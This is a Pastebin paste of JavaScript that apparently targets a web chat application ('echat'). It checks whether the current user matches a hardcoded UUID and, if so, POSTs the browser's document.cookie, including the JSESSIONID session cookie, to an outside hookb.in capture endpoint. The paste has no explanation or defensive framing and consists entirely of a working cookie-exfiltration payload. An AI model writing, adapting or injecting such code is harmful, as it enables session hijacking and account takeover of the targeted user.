Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function dumpToHookBin(obj){
- var data = JSON.stringify(obj);
- $.ajax({
- method: "POST",
- url: "https://hookb.in/EOxxJ43M",
- data: data,
- dataType: "json",
- contentType: "application/json",
- processData: false
- }).done(function (msg) {
- console.log(msg);
- });
- }
- function getCookie(cname) {
- var name = cname + "=";
- var decodedCookie = decodeURIComponent(document.cookie);
- var ca = decodedCookie.split(';');
- for(var i = 0; i <ca.length; i++) {
- var c = ca[i];
- while (c.charAt(0) == ' ') {
- c = c.substring(1);
- }
- if (c.indexOf(name) == 0) {
- return c.substring(name.length, c.length);
- }
- }
- return "";
- }
- function getSessionCookie(userUuid){
- return getCookie('JSESSIONID');
- }function isUser(userUuid){
- return userUuid.indexOf(com.echat.shared.context.Account.UserContext.userUuid)>=0;
- }
- if(isUser('c14b5cc1-2067-422b-afe4-793a8681329f')){
- dumpToHookBin({cookies:document.cookie});
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement